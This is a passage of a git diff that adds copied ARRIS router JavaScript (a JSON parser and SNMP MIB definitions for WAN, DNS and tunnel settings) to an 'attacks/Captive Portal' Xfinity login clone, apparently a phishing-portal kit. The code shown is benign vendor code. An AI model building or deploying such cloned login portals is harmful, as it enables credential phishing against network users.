a.charCodeAt(0).toString(16)).slice(-4); + }); + } + +// In the second stage, we run the text against regular expressions that look +// for non-JSON patterns. We are especially concerned with '()' and 'new' +// because they can cause invocation, and '=' because it can cause mutation. +// But just to be safe, we want to reject all unexpected forms. + +// We split the second stage into 4 regexp operations in order to work around +// crippling inefficiencies in IE's and Safari's regexp engines. First we +// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we +// replace all simple value tokens with ']' characters. Third, we delete all +// open brackets that follow a colon or comma or that begin the text. Finally, +// we look to see that the remaining characters are only whitespace or ']' or +// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval. + + if (/^[\],:{}\s]*$/ +.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@') +.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']') +.replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { + +// In the third stage we use the eval function to compile the text into a +// JavaScript structure. The '{' operator is subject to a syntactic ambiguity +// in JavaScript: it can begin a block or an object literal. We wrap the text +// in parens to eliminate the ambiguity. + + j = eval('(' + text + ')'); + +// In the optional fourth stage, we recursively walk the new structure, passing +// each name/value pair to a reviver function for possible transformation. + + return typeof reviver === 'function' ? + walk({'': j}, '') : j; + } + +// If the text is not JSON parseable, then a SyntaxError is thrown. + + throw new SyntaxError('JSON.parse'); + }; + } +}()); diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/mib.js b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/mib.js new file mode 100755 index 0000000..8d0e2e2 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/mib.js @@ -0,0 +1,3917 @@ +//(c) Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +//justin add +document.write("<\/scr" + "ipt>"); +//justin add end + +var walk = { }; +var loads = []; +var stores = []; +var table = { }; +var container = { }; +var oidsRead = [ ]; +var mib = { }; +var bulkLoading = false; +var bulkList = [ ]; + + +function appendMulti_OID(obj_in) +{ + var oid_array=""; + var i=0; + for(;i=0) + { + var current_pos=MIB_Arrays[i]; + MIB_Arrays_sorted.push(current_pos); + for(var j=i+1;j=0)&&(current_pos["mibobj"].name==MIB_Arrays[j]["mibobj"].name)) + { + if(MIB_Arrays[j].index>=current_pos.index) + { + var newobj=MIB_Arrays[j]; + MIB_Arrays_sorted.push(newobj); + if (window.console) console.log("push:"+MIB_Arrays[j]["mibobj"].name+"["+MIB_Arrays[j].index+"] under: "+MIB_Arrays[i]["mibobj"].name+"["+MIB_Arrays[i].index+"]"); + } + else /* simple sort */ + { + var temp_obj=MIB_Arrays_sorted.pop(); + MIB_Arrays_sorted.push(newobj); + MIB_Arrays_sorted.push(temp_obj); + } + + if(MIB_Arrays_sorted.length==MIB_len) + { + MIB_dumpArray(MIB_Arrays_sorted); + return MIB_Arrays_sorted; + } + else + { + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + } + } + else + { + ;//MIB_dumpArray(MIB_Arrays_sorted); For Console debug + } + }catch(e) + { + if (window.console) console.log("Error:"+e); + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + else + return MIB_objs; + } + } + } + } + + return MIB_objs; +} + +function MIB_JSON2Str(MIB_objs) +{ + var MIB_size=MIB_objSize(MIB_objs); + var MIB_Str=""; + var MIB_count=0; + for(var index_key in MIB_objs) + { + if(!isArray(MIB_objs[index_key])) + MIB_Str+='"'+index_key+'":"'+MIB_objs[index_key]+'"'; + else + { + var MIB_subArray=MIB_objs[index_key]; + var tempStr=""; + var i=0; + for(i=0;i 47 && hh<58) || (hh > 64 && hh<91) || (hh > 96 && hh<123)) + { + } + else { + return false; + } + } + return true; +} +function MIB_BatchLoad(MIB_objs,force_multi) +{ + var MIB_query=appendMulti_OID(MIB_objs); + var MIB_Result;//=new Array();;//=[];// + var MIB_Str="{"; + var MIB_JSON=snmpMultiGet(MIB_query); + var MIB_len=MIB_objs.length; + var i=0; + if (force_multi==undefined) + force_multi = false; + for (var index_key in MIB_JSON) + { + //alert("index_key:"+index_key); + var DataRow =""; + if(index_key==(MIB_objs[i]["mibobj"].oid+"."+MIB_objs[i]["index"])) + { + DataRow='"'+MIB_objs[i]["mibobj"].name+'":['; + val0=MIB_JSON[index_key]; + if (MIB_objs[i]["mibobj"].type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if ( MIB_objs[i]["mibobj"].compo==1 ) + { + val2=val0; + } + DATA=val2.escapeChars(); + } + else + { + DATA=val0; + } + //if(index_key=="1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1.0") + // alert("index_key:"+index_key+" DATA:"+DATA); + + //luis add + if(DATA.toUpperCase()=="NO SUCH OBJECT") + DATA=""; + //luis add end + + if((i>=1)&&(MIB_objs[i]["mibobj"].name==MIB_objs[i-1]["mibobj"].name)) + { + MIB_Str=MIB_Str.substring(0,MIB_Str.lastIndexOf("]")); + MIB_Str+=',"'+ DATA.toString() +'"]'; //More + MIB_Str+=((i>\n{"+MIB_objs[i]["mibobj"].name+":"+MIB_JSON[index_key].toString()+"}"); + return undefined; + } + } + MIB_Str+="}"; + MIB_Result=eval('('+MIB_Str+')'); + //Reduce one element Array + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } +// alert("(mib.js)MIB_BatchLoad str=["+MIB_Str+"]."); + return MIB_Result; +} + +function MIB_objSize(MIB_objs) +{ + var count=0; + for(var index_key in MIB_objs) + { + count++; + } + return count; +} + +function isArray(what) { + return Object.prototype.toString.call(what) === '[object Array]'; +} + +function MIB_objAppend(MIB_objs,MIB_objs_2,force_multi) +{ + if(force_multi==undefined) + force_multi=false; + var MIB_Result; + var MIB_size=MIB_objSize(MIB_objs); + var MIB_size_2=MIB_objSize(MIB_objs_2); + var MIB_Str=MIB_JSON2Str(MIB_objs); + + if(MIB_size_2>0) + MIB_Str+=","; + MIB_Str+=MIB_JSON2Str(MIB_objs_2); + MIB_Str="{"+MIB_Str+"}"; + MIB_Result=eval('('+MIB_Str+')'); + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } + return MIB_Result; +} + + + +function bulkLoad(load_func) { + bulkLoading = true; + bulkList = []; + load_func(); + bulkLoading = false; + if (bulkList.length === 0) + return; + var oids = []; + _.each(bulkList, function (oid, index) { + oids.push(oid); + if (oids.length === 20 || index === (bulkList.length-1)) { + var v = snmpGet(oids); + _.each(v, function (val, key) { + walk[key] = val; + }); + oids = []; + } + }); +} + +function sliceOid(oid, start, end) { + var oids = oid.split("."); + if (start < 0) { + start = oids.length + start; + end = oids.length; + } else { + end = (end === undefined ? oids.length : end); + } + if (end < 0) { + end = oids.length + end; + } + return _(oids.slice(start, end)).reduce(function(acc, next) { + return acc ? acc + "." + next : next; + }); +} + +//function getWalkOids(targetOid) { +// $.each(oidMap, function(oid,def) { +// if (!oid.startsWith(target)) +// return; +// +// +// }); +//} + +if (window["preWalk"]) + walk = window["preWalk"]; + +function afterLoad(f) { + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} +function load1(f, json) { + if (json === undefined) + json = snmpWalk([ f.oid ]); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} + +var loadLogData = ""; + +function loadLogger(l) { + if (window.console) console.log(l); + if (debug()&2 && !(l.contains("assword", "TAC","RadiusKey")) ) + loadLogData += (l+"
"); +} + +function load() { + loadLogData = ""; + var args = _(_.toArray(arguments)); + if (!window["preWalk"]) { + var oids = args.map(function(f) { + return f.oid; + }); + var json = snmpWalk(oids); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) + loadRowStatus(); + +// mb +// args.each(function(f) { +// f.dump(loadLogger); +// }) +// if (debug()&2) +// afterBuild( function() { +// showWalk(loadLogData); +// }); + +} + +function loadFake() { + var args = _(_.toArray(arguments)); + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) +} +function loadOids(oa) { + function doget(a) { + var json = snmpWalk(a); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + + var soa = [ ]; + _.each(oa, function(o) { + soa.push(o); + if (soa.length > 5) { + doget(soa); + soa = [ ]; + } + }); + if (soa.length) + doget(soa); +} + + +function store() { + MibObjects.ApplyAllSettings.set(1); + refresh(); +} + +function listAccessed() { + _.each(_.extend({}, container, table), function(f) { + if (f.accessed) if (window.console) console.log(f.name); + }); +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + + + +function dumpOidsRead() { + _.each(oidsRead, function(o) { + if (window.console) console.log(o); + }); +} + + +function oidValuesEqual(a,b) { + if ((""+a).startsWith("$") && (""+b).startsWith("$")) { + return a.replace(/ /g,"") === b.replace(/ /g,"") + } + return a == b; +} + + +function Container(name, oid) { + this.name = name; + this.oid = oid; + mib[oid] = this; + container[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("container "+name+" parent "+(this.parent ? this.parent.name : "ROOT")); + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + f(name + " ==============="); + _.each(this.children, function(v) { + if (v !== undefined && v.scalar) + f(v.name + ":" + v.get()); + }); + this.accessed = accessed; + oidsRead = or; + }; + this.json = function() { + return { name:this.name,type:"container",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } +} + +function Table(name, oid) { + this.oid = oid; + this.name = name; + mib[oid] = this; + table[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("table "+name+" parent "+(this.parent ? this.parent.name : "???")); + this.key = []; + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.rowStatus = null; + this.rowVisible = function(key) { + var vis = true; + if (this.rowStatus) { + vis = this.rowStatus.getOid(key) <= 2;/* 2: not in service 1: active */ + if (!vis) + if (window.console) console.log(name+"."+key+" not visible: "+this.rowStatus.getOid(key));// + } + return vis; + }; + this.length = function() { + return this.key.length; + }; + this.afterLoad = function() { + var hash = { }; + _.each(walk, function(v, k) { + if (k.startsWith(oid + ".")) { + //key = sliceOid(k.substr(oid.length+1),2); + //var tableoid = sliceOid(k,0,-2); + var testKey = sliceOid(k.substr(oid.length + 1), 2); + if (testKey && !hash[testKey]) { + hash[testKey] = testKey; + this.key.push(testKey); + } + } + }, this); + this.loaded = true; + loadRowStatus(); + } + this.dumpGroupRow = true; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + var rv = ""; + for (var i = 0; i < this.length(); i++) { + rv += this.key[i] + ";"; + } + f("table " + name + " size=" + this.length() + " " + rv); + var rv = ""; + for (var i = 0; i < this.length(); i++) { + $.each(this.children, function(k, v) { + if (v.get(i)) { + rv += (v.name + ":" + v.get(i) + ";"); + if (!this.dumpGroupRow) { + f("===" + this.table.key[i] + "==>" + rv); + rv = ""; + } + } + }); + if (rv.length && this.dumpGroupRow) + f("===" + this.key[i] + "==>" + rv); + } + this.accessed = accessed; + oidsRead = or; + f("rowStatus: "+ (this.rowStatus ? this.rowStatus.name : "")); + } + this.json = function() { + return { name:this.name,type:"table",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } + this.getTable = function(cola, func) { + if (walk[this.oid] === undefined) { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MtaDevVqmMetricTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + + } + else if (0 == this.oid.indexOf(MtaDevVqmCallNumberTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MACAccessTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + //luis add + if(val2.toUpperCase()=="NO SUCH OBJECT") + val2=""; + //luis add end + + row.push(val2); + + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getTableFromJson = function(json_obj,cola, func) { + //walk[this.oid]=json_obj[this.name]; + _.extend(walk,json_obj[this.name]); + this.afterLoad(); + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + row.push(val2); + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getMultiTable = function(tables_oid) { + var temp_str=""; + var MIB_Result; + var MultiTable=[ ]; + var tablecount=tables_oid.length,i; + for(i=0;i this.table.key.length) + if (window.console) console.log("index " + index + " out of range for " + table.name); + return this.table.key[index] || ""; + } + this.get = function(index, index2) { + if (!index || index.asInt() === 0) + if (window.console) console.log("old style index get "+name+" "+index); + if (index2 !== undefined) + index += "."+index2; + var oid = this.oid+"."+index; + + if (bulkLoading) { + bulkList.push(oid); + return; + } + + if (walk[oid] === undefined) + { + walk[oid] = decodeURIComponent(snmpGet1(oid) || ""); + return walk[oid]; + } + else + { + //$.each(walk, function(v, k) { + // k=decodeURIComponent(v); + //}); + return walk[oid]; + } + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + this.table.accessed = true; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oidsRead.push(oid + "." + (parseInt(index) + 1)); + return walk[oid + "." + (parseInt(index) + 1)] || ""; + } + oidsRead.push(oid + "." + this.table.key[index]); + return walk[oid + "." + this.table.key[index]] || ""; + } + this.getOid = function(index) { + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + oidsRead.push(oid + "." + index); + if (window.console) console.log(this.name+"."+index+" = "+walk[oid + "." + index] || ""); + return walk[oid + "." + index] || ""; + } + + this.set = function(index, value, label) { + try { + snmpSet1(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + this.asyn_set = function(index, value, label) { + try { + snmpSet1Async(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + // this.setOid = function(index, v) { + // if (arguments.length !== 2) + // alert("expected index for column " + this.name); + // if (!oidValuesEqual(this.get(index), v)) { + // $.log("setOid " + name + "." + index + ":" + v); + // stores.push({oid:this.oid + "." + index,value:v, type:this.type}); + // } + // else $.log(name + "." + index + " not changed " + v); + // }; + + this.defined = function(index) { + if (index === undefined || index < 0 || index > this.table.key.length) + return false; + return walk[oid + "." + this.table.key[index]] !== undefined; + } + this.json = function() { + return { name:this.name,type:"column",oid:this.oid }; + } +} +var Mib = new Container("Mib", "1.3.6.1.4.1.4115.1.20.1"); + +var MibObjects = new Container("MibObjects", "1.3.6.1.4.1.4115.1.20.1.1"); +MibObjects.ApplyAllSettings= new Scalar("ApplyAllSettings","1.3.6.1.4.1.4115.1.20.1.1.9",2); +var arApplyAllSettings=MibObjects.ApplyAllSettings; + +var WanConfig = new Container("WanConfig", "1.3.6.1.4.1.4115.1.20.1.1.1"); +WanConfig.WanConnType= new Scalar("WanConnType","1.3.6.1.4.1.4115.1.20.1.1.1.1",2); +WanConfig.WanConnHostName= new Scalar("WanConnHostName","1.3.6.1.4.1.4115.1.20.1.1.1.2",4); +WanConfig.WanConnDomainName= new Scalar("WanConnDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.3",4); +WanConfig.WanMTUSize= new Scalar("WanMTUSize","1.3.6.1.4.1.4115.1.20.1.1.1.4",66); +WanConfig.WanApply= new Scalar("WanApply","1.3.6.1.4.1.4115.1.20.1.1.1.5",2); +WanConfig.WanStaticFreeIdx= new Scalar("WanStaticFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.8",66); +WanConfig.WanIFMacAddr= new Scalar("WanIFMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.13",4, 1); +WanConfig.WanInterface= new Scalar("WanInterface","1.3.6.1.4.1.4115.1.20.1.1.1.14",2); +WanConfig.WanConnTypeV6= new Scalar("WanConnTypeV6","1.3.6.1.4.1.4115.1.20.1.1.1.16",2); +WanConfig.WanIPProvMode= new Scalar("WanIPProvMode","1.3.6.1.4.1.4115.1.20.1.1.1.17",2); +var arWanConnType=WanConfig.WanConnType; +var arWanConnHostName=WanConfig.WanConnHostName; +var arWanConnDomainName=WanConfig.WanConnDomainName; +var arWanMTUSize=WanConfig.WanMTUSize; +var arWanApply=WanConfig.WanApply; +var arWanStaticFreeIdx=WanConfig.WanStaticFreeIdx; +var arWanIFMacAddr=WanConfig.WanIFMacAddr; +var arWanInterface=WanConfig.WanInterface; +var arWanConnTypeV6=WanConfig.WanConnTypeV6; +var arWanIPProvMode=WanConfig.WanIPProvMode; + +var WanCurrentTable = new Table("WanCurrentTable", "1.3.6.1.4.1.4115.1.20.1.1.1.7"); +WanCurrentTable.WanCurrentIPIndex = new Column("WanCurrentIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.1",66); +WanCurrentTable.WanCurrentIPAddrType = new Column("WanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.2",2); +WanCurrentTable.WanCurrentIPAddr = new Column("WanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.3",4, 1); +WanCurrentTable.WanCurrentPrefix = new Column("WanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.4",66); +WanCurrentTable.WanCurrentGWType = new Column("WanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.5",2); +WanCurrentTable.WanCurrentGW = new Column("WanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.6",4, 1); +WanCurrentTable.WanCurrentIPType = new Column("WanCurrentIPType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.7",2); +WanCurrentTable.WanCurrentNetMask = new Column("WanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.8",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6 = new Column("WanCurrentPrefixDelegationV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.9",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6Len = new Column("WanCurrentPrefixDelegationV6Len","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.10",66); +WanCurrentTable.WanCurrentPreferredLifetimeV6 = new Column("WanCurrentPreferredLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.11",2); +WanCurrentTable.WanCurrentValidLifetimeV6 = new Column("WanCurrentValidLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.12",2); +var arWanCurrentIPIndex=WanCurrentTable.WanCurrentIPIndex; +var arWanCurrentIPAddrType=WanCurrentTable.WanCurrentIPAddrType; +var arWanCurrentIPAddr=WanCurrentTable.WanCurrentIPAddr; +var arWanCurrentPrefix=WanCurrentTable.WanCurrentPrefix; +var arWanCurrentGWType=WanCurrentTable.WanCurrentGWType; +var arWanCurrentGW=WanCurrentTable.WanCurrentGW; +var arWanCurrentIPType=WanCurrentTable.WanCurrentIPType; +var arWanCurrentNetMask=WanCurrentTable.WanCurrentNetMask; +var arWanCurrentPrefixDelegationV6=WanCurrentTable.WanCurrentPrefixDelegationV6; +var arWanCurrentPrefixDelegationV6Len=WanCurrentTable.WanCurrentPrefixDelegationV6Len; +var arWanCurrentPreferredLifetimeV6=WanCurrentTable.WanCurrentPreferredLifetimeV6; +var arWanCurrentValidLifetimeV6=WanCurrentTable.WanCurrentValidLifetimeV6; + +var WanStaticTable = new Table("WanStaticTable", "1.3.6.1.4.1.4115.1.20.1.1.1.9"); +WanStaticTable.WanStaticIPIndex = new Column("WanStaticIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.1",66); +WanStaticTable.WanStaticIPAddrType = new Column("WanStaticIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.2",2); +WanStaticTable.WanStaticIPAddr = new Column("WanStaticIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.3",4, 1); +WanStaticTable.WanStaticPrefix = new Column("WanStaticPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.4",66); +WanStaticTable.WanStaticGatewayType = new Column("WanStaticGatewayType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.5",2); +WanStaticTable.WanStaticGateway = new Column("WanStaticGateway","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.6",4, 1); +WanStaticTable.WanStaticRowStatus = new Column("WanStaticRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.7",2); +WanStaticTable.WanDelegatedPrefixLength = new Column("WanDelegatedPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.8",66); +WanStaticTable.WanDelegatedPrefix = new Column("WanDelegatedPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.9",4, 1); +var arWanStaticIPIndex=WanStaticTable.WanStaticIPIndex; +var arWanStaticIPAddrType=WanStaticTable.WanStaticIPAddrType; +var arWanStaticIPAddr=WanStaticTable.WanStaticIPAddr; +var arWanStaticPrefix=WanStaticTable.WanStaticPrefix; +var arWanStaticGatewayType=WanStaticTable.WanStaticGatewayType; +var arWanStaticGateway=WanStaticTable.WanStaticGateway; +var arWanStaticRowStatus=WanStaticTable.WanStaticRowStatus; +var arWanDelegatedPrefixLength=WanStaticTable.WanDelegatedPrefixLength; +var arWanDelegatedPrefix=WanStaticTable.WanDelegatedPrefix; + +var WanTunnelObjects = new Container("WanTunnelObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.10"); +WanTunnelObjects.WanUserName= new Scalar("WanUserName","1.3.6.1.4.1.4115.1.20.1.1.1.10.1",4); +WanTunnelObjects.WanPassword= new Scalar("WanPassword","1.3.6.1.4.1.4115.1.20.1.1.1.10.2",4); +WanTunnelObjects.WanEnableIdleTimeout= new Scalar("WanEnableIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.3",2); +WanTunnelObjects.WanIdleTimeout= new Scalar("WanIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.4",66); +WanTunnelObjects.WanTunnelAddrType= new Scalar("WanTunnelAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.10.5",2); +WanTunnelObjects.WanTunnelAddr= new Scalar("WanTunnelAddr","1.3.6.1.4.1.4115.1.20.1.1.1.10.6",4, 1); +WanTunnelObjects.WanTunnelHostName= new Scalar("WanTunnelHostName","1.3.6.1.4.1.4115.1.20.1.1.1.10.7",4); +WanTunnelObjects.WanEnableKeepAlive= new Scalar("WanEnableKeepAlive","1.3.6.1.4.1.4115.1.20.1.1.1.10.8",2); +WanTunnelObjects.WanKeepAliveTimeout= new Scalar("WanKeepAliveTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.9",66); +var arWanUserName=WanTunnelObjects.WanUserName; +var arWanPassword=WanTunnelObjects.WanPassword; +var arWanEnableIdleTimeout=WanTunnelObjects.WanEnableIdleTimeout; +var arWanIdleTimeout=WanTunnelObjects.WanIdleTimeout; +var arWanTunnelAddrType=WanTunnelObjects.WanTunnelAddrType; +var arWanTunnelAddr=WanTunnelObjects.WanTunnelAddr; +var arWanTunnelHostName=WanTunnelObjects.WanTunnelHostName; +var arWanEnableKeepAlive=WanTunnelObjects.WanEnableKeepAlive; +var arWanKeepAliveTimeout=WanTunnelObjects.WanKeepAliveTimeout; + +var WanDNSObjects = new Container("WanDNSObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.11"); +WanDNSObjects.WanUseAutoDNS= new Scalar("WanUseAutoDNS","1.3.6.1.4.1.4115.1.20.1.1.1.11.1",2); +WanDNSObjects.WanStaticDNSFreeIdx= new Scalar("WanStaticDNSFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.11.3",66); +var arWanUseAutoDNS=WanDNSObjects.WanUseAutoDNS; +var arWanStaticDNSFreeIdx=WanDNSObjects.WanStaticDNSFreeIdx; + +var WanCurrentDNSTable = new Table("WanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.2"); +WanCurrentDNSTable.WanCurrentDNSIPIndex = new Column("WanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.1",66); +WanCurrentDNSTable.WanCurrentDNSIPAddrType = new Column("WanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.2",2); +WanCurrentDNSTable.WanCurrentDNSIPAddr = new Column("WanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.3",4, 1); +var arWanCurrentDNSIPIndex=WanCurrentDNSTable.WanCurrentDNSIPIndex; +var arWanCurrentDNSIPAddrType=WanCurrentDNSTable.WanCurrentDNSIPAddrType; +var arWanCurrentDNSIPAddr=WanCurrentDNSTable.WanCurrentDNSIPAddr; + +var WanStaticDNSTable = new Table("WanStaticDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.4"); +WanStaticDNSTable.WanStaticDNSIPIndex = new Column("WanStaticDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.1",66); +WanStaticDNSTable.WanStaticDNSIPAddrType = new Column("WanStaticDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.2",2); +WanStaticDNSTable.WanStaticDNSIPAddr = new Column("WanStaticDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.3",4, 1); +WanStaticDNSTable.WanStaticDNSRowStatus = new Column("WanStaticDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.4",2); +var arWanStaticDNSIPIndex=WanStaticDNSTable.WanStaticDNSIPIndex; +var arWanStaticDNSIPAddrType=WanStaticDNSTable.WanStaticDNSIPAddrType; +var arWanStaticDNSIPAddr=WanStaticDNSTable.WanStaticDNSIPAddr; +var arWanStaticDNSRowStatus=WanStaticDNSTable.WanStaticDNSRowStatus; + +var WanDHCPObjects = new Container("WanDHCPObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.12"); 